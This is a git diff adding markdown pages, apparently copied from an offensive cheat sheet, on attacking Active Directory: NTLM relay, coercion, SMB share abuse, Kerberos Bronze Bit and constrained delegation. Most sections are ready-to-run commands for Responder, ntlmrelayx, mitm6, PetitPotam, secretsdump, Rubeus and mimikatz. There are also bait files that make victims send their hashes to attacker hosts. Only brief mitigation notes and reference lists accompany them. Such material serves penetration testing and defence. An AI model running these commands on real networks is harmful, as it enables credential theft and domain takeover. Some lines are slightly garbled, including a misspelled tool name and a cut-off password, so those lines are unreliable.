2025](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/) +* [NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073 - Wilfried Bécard and Guillaume André - June 11, 2025](https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025) +* [Relaying Kerberos over DNS using krbrelayx and mitm6 - Dirk-jan Mollema - February 22, 2022](https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/) +* [Relaying Kerberos over SMB using krbrelayx - Hugo Vincent - November 20, 2024](https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx) +* [Using Kerberos for Authentication Relay Attacks - James Forshaw - October 20, 2021](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html) +* [Windows Exploitation Tricks: Relaying DCOM Authentication - James Forshaw - October 20, 2021](https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html) diff --git a/personas/_shared/internal-allthethings/active-directory/internal-relay-ntlm.md b/personas/_shared/internal-allthethings/active-directory/internal-relay-ntlm.md new file mode 100644 index 0000000..aa676c9 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/internal-relay-ntlm.md @@ -0,0 +1,452 @@ +# Internal - NTLM Relay + +NTLMv1 and NTLMv2 can be relayed to connect to another machine. + +| Hash | Hashcat | Attack method | +|-----------------------|---------|----------------------| +| LM | `3000` | crack/pass the hash | +| NTLM/NTHash | `1000` | crack/pass the hash | +| NTLMv1/Net-NTLMv1 | `5500` | crack/relay attack | +| NTLMv2/Net-NTLMv2 | `5600` | crack/relay attack | + +Crack the hash with `hashcat`. + +```powershell +hashcat -m 5600 -a 0 hash.txt crackstation.txt +``` + +## MS08-068 NTLM reflection + +NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008. + +> This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials. + +* + +```powershell +msf > use exploit/windows/smb/smb_relay +msf exploit(smb_relay) > show targets +``` + +## LDAP signing not required and LDAP channel binding disabled + +During security assessment, sometimes we don't have any account to perform the audit. Therefore we can inject ourselves into the Active Directory by performing NTLM relaying attack. For this technique three requirements are needed: + +* LDAP signing not required (by default set to `Not required`) +* LDAP channel binding is disabled. (by default disabled) +* `ms-DS-MachineAccountQuota` needs to be at least at 1 for the account relayed (10 by default) + +Then we can use a tool to poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network such as `Responder` and use `ntlmrelayx` to add our computer. + +```bash +# On first terminal +sudo ./Responder.py -I eth0 -wfrd -P -v + +# On second terminal +sudo python ./ntlmrelayx.py -t ldaps://IP_DC --add-computer +``` + +It is required here to relay to LDAP over TLS because creating accounts is not allowed over an unencrypted connection. + +## SMB Signing Disabled and IPv4 + +If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine. Also called **LLMNR/NBNS Poisoning** + +1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`. + + ```powershell + [Responder Core] + ; Servers to start + ... + SMB = Off # Turn this off + HTTP = Off # Turn this off + ``` + +2. Run `python RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`. +3. Run `python Responder.py -I ` +4. Use a relay tool such as `ntlmrelayx` or `MultiRelay` + * `impacket-ntlmrelayx -tf targets.txt` to dump the SAM database of the targets in the list. + * `python MultiRelay.py -t -u ALL` +5. ntlmrelayx can also act as a SOCK proxy with every compromised sessions. + + ```powershell + $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support + [*] Servers started, waiting for connections + Type help for list of commands + ntlmrelayx> socks + Protocol Target Username Port + -------- -------------- ------------------------ ---- + MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433 + SMB 192.168.48.230 CONTOSO/NORMALUSER1 445 + MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433 + + # You might need to select a target with "-t" + # smb://, mssql://, http://, https://, imap://, imaps://, ldap://, ldaps:// and smtp:// + impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support + impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support + + # the socks proxy can then be used with your Impacket tools or netexec + $ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1 + $ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth + $ proxychains netexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1" + ``` + +**Mitigations**: + +* Disable LLMNR via group policy + + ```powershell + Open gpedit.msc and navigate to Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution and set to Enabled + ``` + +* Disable NBT-NS + + ```powershell + This can be achieved by navigating through the GUI to Network card > Properties > IPv4 > Advanced > WINS and then under "NetBIOS setting" select Disable NetBIOS over TCP/IP + ``` + +## SMB Signing Disabled and IPv6 + +Since [MS16-077](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-077) the location of the WPAD file is no longer requested via broadcast protocols, but only via DNS. + +```powershell +netexec smb $hosts --gen-relay-list relay.txt + +# DNS takeover via IPv6, mitm6 will request an IPv6 address via DHCPv6 +# -d is the domain name that we filter our request on - the attacked domain +# -i is the interface we have mitm6 listen on for events +mitm6 -i eth0 -d $domain + +# spoofing WPAD and relaying NTLM credentials +impacket-ntlmrelayx -6 -wh $attacker_ip -of loot -tf relay.txt +impacket-ntlmrelayx -6 -wh $attacker_ip -l /tmp -socks -debug + +# -ip is the interface you want the relay to run on +# -wh is for WPAD host, specifying your wpad file to serve +# -t is the target where you want to relay to. +impacket-ntlmrelayx -ip 10.10.10.1 -wh $attacker_ip -t ldaps://10.10.10.2 +``` + +## Drop the MIC - CVE-2019-1040 + +> The CVE-2019-1040 vulnerability makes it possible to modify the NTLM authentication packets without invalidating the authentication, and thus enabling an attacker to remove the flags which would prevent relaying from SMB to LDAP + +Check vulnerability with [cve-2019-1040-scanner](https://github.com/fox-it/cve-2019-1040-scanner) + +```powershell +python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET' +[*] CVE-2019-1040 scanner by @_dirkjan / Fox-IT - Based on impacket by SecureAuth +[*] Target TARGET is not vulnerable to CVE-2019-1040 (authentication was rejected) +``` + +* Using any AD account, connect over SMB to a victim Exchange server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant DCSync privileges to the attacker account. The attacker account can now use DCSync to dump all password hashes in AD + + ```powershell + TERM1> python printerbug.py testsegment.local/username@s2012exc.testsegment.local + TERM2> ntlmrelayx.py --remove-mic --escalate-user ntu -t ldap://s2016dc.testsegment.local -smb2support + TERM1> secretsdump.py testsegment/ntu@s2016dc.testsegment.local -just-dc + ``` + +* Using any AD account, connect over SMB to the victim server, and trigger the SpoolService bug. The attacker server will connect back to you over SMB, which can be relayed with a modified version of ntlmrelayx to LDAP. Using the relayed LDAP authentication, grant Resource Based Constrained Delegation privileges for the victim server to a computer account under the control of the attacker. The attacker can now authenticate as any user on the victim server. + + ```powershell + # create a new machine account + TERM1> ntlmrelayx.py -t ldaps://rlt-dc.relaytest.local --remove-mic --delegate-access -smb2support + TERM2> python printerbug.py relaytest.local/username@second-dc-server 10.0.2.6 + TERM1> getST.py -spn host/second-dc-server.local 'relaytest.local/MACHINE$:PASSWORD' -impersonate DOMAIN_ADMIN_USER_NAME + + # connect using the ticket + export KRB5CCNAME=DOMAIN_ADMIN_USER_NAME.ccache + secretsdump.py -k -no-pass second-dc-server.local -just-dc + ``` + +## Drop the MIC 2 - CVE-2019-1166 + +> A tampering vulnerability exists in Microsoft Windows when a man-in-the-middle attacker is able to successfully bypass the NTLM MIC (Message Integrity Check) protection. An attacker who successfully exploited this vulnerability could gain the ability to downgrade NTLM security features. To exploit this vulnerability, the attacker would need to tamper with the NTLM exchange. The attacker could then modify flags of the NTLM packet without invalidating the signature. + +* Unset the signing flags in the `NTLM_NEGOTIATE` message (`NTLMSSP_NEGOTIATE_ALWAYS_SIGN`, `NTLMSSP_NEGOTIATE_SIGN`) +* Inject a rogue msvAvFlag field in the `NTLM_CHALLENGE` message with a value of zeros +* Remove the MIC from the `NTLM_AUTHENTICATE` message +* Unset the following flags in the `NTLM_AUTHENTICATE` message: `NTLMSSP_NEGOTIATE_ALWAYS_SIGN`, `NTLMSSP_NEGOTIATE_SIGN`, `NEGOTIATE_KEY_EXCHANGE`, `NEGOTIATE_VERSION`. + +```ps1 +ntlmrelayx.py -t ldap://dc.domain.com --escalate-user 'youruser$' -smb2support --remove-mic --delegate-access +``` + +## Ghost Potato - CVE-2019-1384 + +Requirements: + +* User must be a member of the local Administrators group +* User must be a member of the Backup Operators group +* Token must be elevated + +Using a modified version of ntlmrelayx : + +```powershell +ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe +``` + +## RemotePotato0 DCOM DCE RPC relay + +> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine + +Requirements: + +* a shell in session 0 (e.g. WinRm shell or SSH shell) +* a privileged user is logged on in the session 1 (e.g. a Domain Admin user) + +```powershell +# https://github.com/antonioCoco/RemotePotato0/ +Terminal> sudo socat TCP-LISTEN:135,fork,reuseaddr TCP:192.168.83.131:9998 & # Can be omitted for Windows Server <= 2016 +Terminal> sudo ntlmrelayx.py -t ldap://192.168.83.135 --no-wcf-server --escalate-user winrm_user_1 +Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2 +Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135' +``` + +## DNS Poisonning - Relay delegation with mitm6 + +Requirements: + +* IPv6 enabled (Windows prefers IPV6 over IPv4) +* LDAP over TLS (LDAPS) + +> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it. + +```powershell +git clone https://github.com/fox-it/mitm6.git +cd /opt/tools/mitm6 +pip install . + +mitm6 -hw ws02 -d lab.local --ignore-nofqnd +# -d: the domain name that we filter our request on (the attacked domain) +# -i: the interface we have mitm6 listen on for events +# -hw: host whitelist + +ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad +ntlmrelayx.py -ip 10.10.10.10 -t ldaps://dc01.lab.local -wh attacker-wpad --add-computer +# -ip: the interface you want the relay to run on +# -wh: WPAD host, specifying your wpad file to serve +# -t: the target where you want to relay to + +# now granting delegation rights and then do a RBCD +ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad +getST.py -spn cifs/target.lab.local lab.local/GENERATED\$ -impersonate Administrator +export KRB5CCNAME=administrator.ccache +secretsdump.py -k -no-pass target.lab.local +``` + +## NTLM Reflection - CVE-2025-33073 + +* Add a DNS record for `[SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` pointing to our IP address. It is also possible to compromise any vulnerable machine by registering `localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA`. + + ```ps1 + dnstool.py -u 'domain.local\username' -p 'P@ssw0rd' 10.10.10.10 -a add -r target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 198.51.100.27 + # OR + pretender -i "vmnet2" --spoof "target1UWhR..." --no-dhcp --no-timestamps + ``` + +* Start the relay to catch the callback from TARGET. + + ```ps1 + ntlmrelayx.py -t smb://TARGET.domain.local -smb2support + ntlmrelayx.py -t smb://TARGET.domain.local -smb2support -c 'type C:\Users\Administrator\Desktop\flag.txt' + ``` + +* Trigger a callback from the server to `[SERVERNAME] + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` using PetitPotam. + + ```ps1 + nxc smb TARGET.domain.local -u username -p 'P@ssw0rd' -M coerce_plus -o M=Petitpotam LISTENER=target1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA + # OR + petitpotam.py -d domain.local -u username -p 'password' "TARGET1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA" "TARGET.DOMAIN.LOCAL" + ``` + +## Relaying with WebDav Trick + +> Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB + +**Requirement**: + +* WebClient service + +**Exploitation**: + +* Discover machines on the network with enabled WebClient service + + ```ps1 + webclientservicescanner 'domain.local'/'user':'password'@'machine' + netexec smb 10.10.10.10 -d 'domain' -u 'user' -p 'password' -M webdav + GetWebDAVStatus.exe 'machine' + ``` + +* Disable HTTP in Responder + + ```ps1 + sudo vi /usr/share/responder/Responder.conf + ``` + +* Generate a Windows machine name, e.g: "WIN-UBNW4FI3AP0" + + ```ps1 + sudo responder -I eth0 + ``` + +* Prepare for RBCD against the DC + + ```ps1 + python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support + ``` + +* Trigger the authentication to relay to our nltmrelayx: `PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.10.10.10`, the listener host must be specified with the FQDN or full netbios name like `logger.domain.local@80/test.txt`. Specifying the IP results in anonymous auth instead of System. + + ```ps1 + # PrinterBug + dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP" + SpoolSample.exe "TARGET_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" + + # PetitPotam + Petitpotam.py "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP" + Petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP" + PetitPotam.exe "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "TARGET_IP" + ``` + +* Use the created account to ask for a service ticket: + + ```ps1 + .\Rubeus.exe hash /domain:purple.lab /user:WVLFLLKZ$ /password:'iUAL)l +pyrdp-mitp.py : # with custom port +pyrdp-mitm.py -k private_key.pem -c certificate.pem # with custom key and certificate +``` + +**Exploitation** + +* If Network Level Authentication (NLA) is enabled, you will obtain the client's NetNTLMv2 challenge +* If NLA is disabled, you will obtain the password in plaintext +* Other features are available such as keystroke recording + +**Alternatives** + +* [SySS-Research/Seth](https://github.com/SySS-Research/Seth), performs ARP spoofing prior to launching the RDP listener + +## Relay IIS AppPool to Local Administrator + +* HTTP coerce from the targeted machine + + ```ps1 + powershell iwr http://10.10.10.2 -UseDefaultCredentials + ``` + +* Relay to LDAP + + ```ps1 + ntlmrelayx -t ldap://10.10.10.1 -smb2support --interactive + ``` + +* Connect to the interactive LDAP shell via TCP + + ```ps1 + nc 127.0.0.1 + ``` + +* Enable TLS and setup RBCD + + ```ps1 + start_tls + add_computer fakePC P@ssword123 + set_rbcd TARGET$ fakePC$ + ``` + +* Impersonate the administrator + + ```ps1 + getST.py -spn 'cifs/target.lab.local' -impersonate Administrator -dc-ip 'dc.lab.local' 'lab.local/fakePC$:P@ssword123' + export KRB5CCNAME=/tmp/Administrator@cifs_target.lab.local@LAB.LOCAL.ccache + wmiexec.py -k -no-pass @target.lab.local + ``` + +## Common Issues Forwarding Port 445 + +By default the SMB service is listening on port 445, blocking any relaying attempt on this port + +**Technique #1**: Forward port 445 on Windows machine using a driver + +* [praetorian-inc/PortBender](https://github.com/praetorian-inc/PortBender) - TCP Port Redirection Utility + + ```ps1 + rportfwd 8445 127.0.0.1 445 # Machine 8445 redirected to Teamserver 445 + sudo proxychains python3 examples/ntlmrelayx.py -t smb://10.10.10.10 -smb2support # relay SMB to 10.10.10.10 + + upload WinDivert32.sys + upload WinDivert64.sys + + PortBender redirect 445 8445 # Redirect port 445 to 8445 on the machine + ``` + +**Technique #2**: Disable SMB service, to easily portforward port 445 + +* [zyn3rgy/smbtakeover](https://github.com/zyn3rgy/smbtakeover) - BOF and Python3 implementation of technique to unbind 445/tcp on Windows via SCM interactions + + ```ps1 + python3 smbtakeover.py atlas.lab/josh:password1@10.0.0.21 check + python3 smbtakeover.py atlas.lab/josh:password1@10.0.0.21 stop + python3 smbtakeover.py atlas.lab/josh:password1@10.0.0.21 start + + bof_smbtakeover localhost check + bof_smbtakeover 10.0.0.21 stop + bof_smbtakeover localhost start + + rportfwd_local 445 127.0.0.1 445 + ``` + +* [Windows/sc.exe](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/sc-config) + + ```ps1 + sc config LanmanServer start= disabled + sc stop LanmanServer + sc stop srv2 + sc stop srvnet + ``` + +* [XiaoliChan/wmiexec-Pro](https://github.com/XiaoliChan/wmiexec-Pro) + + ```ps1 + wmiexec-pro.py lab.local/admin@target.lab.local service -action disable -service-name "LanmanServer" + wmiexec-pro.py lab.local/admin@target.lab.local service -action stop -service-name "LanmanServer" + wmiexec-pro.py lab.local/admin@target.lab.local service -action stop -service-name "srv2" + wmiexec-pro.py lab.local/admin@target.lab.local service -action disable -service-name "srvnet" + wmiexec-pro.py lab.local/admin@target.lab.local service -action getinfo -service-name "srvnet" + ``` + +## References + +* [Abusing multicast poisoning for pre-authenticated Kerberos relay over HTTP with Responder and krbrelayx - Quentin Roland - January 27, 2025](https://www.synacktiv.com/publications/abusing-multicast-poisoning-for-pre-authenticated-kerberos-relay-over-http-with) +* [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic) +* [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema - June 13, 2019](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/) +* [Lateral Movement – WebClient](https://pentestlab.blog/2021/10/20/lateral-movement-webclient/) +* [NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073 - Wilfried Bécard and Guillaume André - June 11, 2025](https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025) +* [NTLM Relaying to LDAP - The Hail Mary of Network Compromise - @logangoins - July 23, 2024](https://logan-goins.com/2024-07-23-ldap-relay/) +* [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials) +* [Relay Your Heart Away - An OPSEC-Conscious Approach to 445 Takeover - Nick Powers (@zyn3rgy) - Aug 1, 2024](https://posts.specterops.io/relay-your-heart-away-an-opsec-conscious-approach-to-445-takeover-1c9b4666c8ac) +* [Relay Your Heart Away: An OPSEC-Conscious Approach to 445 Takeover - Nick Powers (@zyn3rgy) - July 27, 2024](https://www.youtube.com/watch?v=iBqOOkQGJEA) +* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher - Mar 9, 2018](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa) diff --git a/personas/_shared/internal-allthethings/active-directory/internal-shares.md b/personas/_shared/internal-allthethings/active-directory/internal-shares.md new file mode 100644 index 0000000..52edcef --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/internal-shares.md @@ -0,0 +1,180 @@ +# Internal - Shares + +## READ Permission + +> Some shares can be accessible without authentication, explore them to find some juicy files + +* [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) - The Network Execution Tool + + ```ps1 + nxc smb 10.0.0.4 -u guest -p '' -M spider_plus + nxc smb 10.0.0.4 -u guest -p '' --get-file \\info.txt.txt infos.txt.txt --share OPENSHARE + ``` + +* [ShawnDEvans/smbmap](https://github.com/ShawnDEvans/smbmap) - a handy SMB enumeration tool + + ```powershell + smbmap -H 10.10.10.10 # null session + smbmap -H 10.10.10.10 -r PATH # recursive listing + smbmap -H 10.10.10.10 -u invaliduser # guest smb session + smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*" + ``` + +* [byt3bl33d3r/pth-smbclient](https://github.com/byt3bl33d3r/pth-toolkit) from path-toolkit + + ```powershell + pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share + pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$ + ls # list files + cd # move inside a folder + get # download files + put # replace a file + ``` + +* [SecureAuthCorp/smbclient](https://github.com/SecureAuthCorp/impacket) from Impacket + + ```powershell + smbclient -I 10.10.10.100 -L ACTIVE -N -U "" + Sharename Type Comment + --------- ---- ------- + ADMIN$ Disk Remote Admin + C$ Disk Default share + IPC$ IPC Remote IPC + NETLOGON Disk Logon server share + Replication Disk + SYSVOL Disk Logon server share + Users Disk + use Sharename # select a Sharename + cd Folder # move inside a folder + ls # list files + ``` + +* [smbclient](https://www.samba.org/samba/docs/4.9/man-html/smbclient.1.html) - from Samba, ftp-like client to access SMB/CIFS resources on servers + + ```powershell + smbclient -U username //10.0.0.1/SYSVOL + smbclient //10.0.0.1/Share + + # Download a folder recursively + smb: \> mask "" + smb: \> recurse ON + smb: \> prompt OFF + smb: \> lcd '/path/to/go/' + smb: \> mget * + ``` + +* [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler) - a tool for pentesters to help find delicious candy + + ```ps1 + snaffler.exe -s - snaffler.log + + # Snaffle all the computers in the domain + ./Snaffler.exe -d domain.local -c -s + + # Snaffle specific computers + ./Snaffler.exe -n computer1,computer2 -s + ​ + # Snaffle a specific directory + ./Snaffler.exe -i C:\ -s + ``` + +## WRITE Permission + +Write SCF and URL files on a writeable share to farm for user's hashes and eventually replay them. + +Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop) + +```ps1 +# Farmer to receive auth +farmer.exe [seconds] [output] +farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely +farmer.exe 8888 60 # one minute + +# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks +crop.exe [options] +Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico +Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec +``` + +### SCF Files + +Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0` + +```powershell +[Shell] +Command=2 +IconFile=\\10.10.10.10\Share\test.ico +[Taskbar] +Command=ToggleDesktop +``` + +Using [`netexec`](https://github.com/Pennyw0rth/NetExec/blob/master/cme/modules/slinky.py): + +```ps1 +netexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf +netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk +netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP +``` + +### URL Files + +This attack also works with `.url` files and `responder -I eth0 -v`. + +```powershell +[InternetShortcut] +URL=whatever +WorkingDirectory=whatever +IconFile=\\10.10.10.10\%USERNAME%.icon +IconIndex=1 +``` + +### Windows Library Files + +> Windows Library Files (.library-ms) + +```xml + + + @windows.storage.dll,-34582 + 6 + true + imageres.dll,-1003 + + {7d49d726-3c21-4f05-99aa-fdc2c9474656} + + + + true + false + + \\\\workstation@8888\\folder + + + + +``` + +### Windows Search Connectors Files + +> Windows Search Connectors (.searchConnector-ms) + +```xml + + + imageres.dll,-1002 + Microsoft Outlook + false + true + \\\\workstation@8888\\folder.ico + + {91475FE5-586B-4EBA-8D75-D17434B8CDF6} + + + \\\\workstation@8888\\folder + + +``` + +## References + +* [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/) diff --git a/personas/_shared/internal-allthethings/active-directory/kerberos-bronze-bit.md b/personas/_shared/internal-allthethings/active-directory/kerberos-bronze-bit.md new file mode 100644 index 0000000..c7e36c3 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/kerberos-bronze-bit.md @@ -0,0 +1,69 @@ +# Kerberos - Bronze Bit + +CVE-2020-17049 + +> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**. +> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049). + +:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)` + +Requirements: + +* Service account's password hash +* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation` +* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013) + +**Attack #1** - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation. + +```powershell +# forwardable flag is only protected by the ticket encryption which uses the service account's password +$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes -aesKey test.local/Service1 -force-forwardable -dc-ip # -> Forwardable + +$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable + +# Load the ticket +.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit + +# Access "c$" +ls \\service2.test.local\c$ +``` + +**Attack #2** - Write Permissions to one or more objects in the AD + +* Windows/Linux: + + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d test.local --host 10.100.10.5 add computer AttackerService 'AttackerServicePassword' + bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d test.local add rbcd 'Service2$' 'AttackerService$' + + # Execute the attack + getST.py -spn cifs/Service2.test.local -impersonate User2 -dc-ip 10.100.10.5 -force-forwardable 'test.local/AttackerService$:AttackerServicePassword' + ``` + +* Windows only: + + ```powershell + # Create a new machine account + Import-Module .\Powermad\powermad.ps1 + New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force) + .\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit + + # Set PrincipalsAllowedToDelegateToAccount + Install-WindowsFeature RSAT-AD-PowerShell + Import-Module ActiveDirectory + Get-ADComputer AttackerService + Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$ + Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount + + # Execute the attack + python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable + + # Load the ticket + .\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null + ``` + +## References + +* [CVE-2020-17049: Kerberos Bronze Bit Attack – Practical Exploitation - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/) +* [CVE-2020-17049: Kerberos Bronze Bit Attack – Theory - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/) +* [Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise Active Directory](https://www.hub.trimarcsecurity.com/post/leveraging-the-kerberos-bronze-bit-attack-cve-2020-17049-scenarios-to-compromise-active-directory) diff --git a/personas/_shared/internal-allthethings/active-directory/kerberos-delegation-constrained.md b/personas/_shared/internal-allthethings/active-directory/kerberos-delegation-constrained.md new file mode 100644 index 0000000..67a5068 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/kerberos-delegation-constrained.md @@ -0,0 +1,78 @@ +# Kerberos Delegation - Constrained Delegation + +> Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service. + +## Identify a Constrained Delegation + +* BloodHound: `MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p` +* PowerView: `Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft` +* Native + + ```powershell + Get-DomainComputer -TrustedToAuth | select -exp dnshostname + Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo + ``` + +* bloodyAD: + + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto + ``` + +## Exploit the Constrained Delegation + +* Impacket + + ```ps1 + getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10 + ``` + +* Rubeus: S4U2 attack (S4U2self + S4U2proxy) + + ```ps1 + # with a password + Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password" + + # with a NT hash + Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt + Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" 